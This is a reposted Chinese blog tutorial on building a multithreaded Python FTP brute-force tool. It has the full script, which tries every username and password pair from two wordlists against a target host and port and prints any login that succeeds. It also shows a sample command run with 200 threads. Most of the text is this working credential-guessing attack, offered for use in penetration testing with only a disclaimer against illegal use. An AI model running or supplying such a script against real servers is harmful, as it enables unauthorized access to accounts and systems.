💛总有一个温柔的人💚,💛给你带来最温柔的月亮💚
🌲Python 开发学习的意义:
🌾(1)学习相关安全工具原理.
🌾(2)掌握自定义工具及拓展开发解决实战中无工具或手工麻烦批量化等情况.
🌾(3)在二次开发 Bypass,日常任务,批量测试利用等方面均有帮助.
🌲免责声明:
严禁利用本文章中所提到的工具和技术进行非法攻击,否则后果自负,上传者不承担任何责任。
🌲Python开发 代码:
(1)利用 FTP模块 实现协议爆破脚本.
import ftplib #FTP模块.
import sys #传递模块.
import threading #多线程用的.
import queue #多线程用的.
#爆破要准备:IP,端口,用户名,密码字典.
def ftp_brute(ip,port):
ftp = ftplib.FTP() #创建一个对象.
ftp.connect(ip, int(port)) #尝试连接FTP,IP是输入的IP,port是输入的端口.
while not q.empty(): #接收下面传递的数据.
dict=q.get() #用get形式来接收数据.
dict=dict.split('|') #把数据从 | 进行拆分.
username=dict[0] #第一个数据.
password=dict[1] #第二个数据.
try: #异常处理(成功的).
ftp.login(username,password) #尝试登录,usef账号字典,passf密码字典.
ftp.retrlines('list') #获取列表信息.
print(username+'|'+password+'|成功!') #连接成功就打印账号和密码.
except ftplib.all_errors: #错误的.
print(username + '|' + password + '|失败!')
pass
if __name__ == '__main__':
ip=sys.argv[1] #输入的IP地址
port=sys.argv[2] #输入的端口
usefile=sys.argv[3] #输入的账号字典
passfile=sys.argv[4] #输入的密码字典
threading_unm =sys.argv[5] #输入线程数
q=queue.Queue() #传递模块.
for username in open(usefile): #开打输入的字典文件,每一行还要取出来.
for password in open(passfile): #开打输入的字典文件,每一行还要取出来.
username=username.replace('\n','') #把\n替换为空
password=password.replace('\n','') #把\n替换为空
zidian=username + '|' + password
q.put(zidian) #把账号和密码发送过去(发送到上面).
for x in range(int(threading_unm)): #设置多线程(上面有输入的)
t=threading.Thread(target=ftp_brute,args=(ip,int(port))) #利用threading.Thread模块,target要执行的函数名,处理args传入的参数
t.start() #开启.
(2)在命令行下执行脚本.( 这里我服务器修改 FTP 协议端口 为221端口)
D:\pycharm开发代码\渗透脚本>D:\python-3.10.4\python.exe 利用FTP模块实现协议爆破脚本.py 192.168.43.183 221 Uset.txt pass.txt 200
** (3)效果图.**
(4)端口连接.
本文转载自: https://blog.csdn.net/weixin_54977781/article/details/124855426
版权归原作者 半个西瓜. 所有, 如有侵权,请联系我们删除。
版权归原作者 半个西瓜. 所有, 如有侵权,请联系我们删除。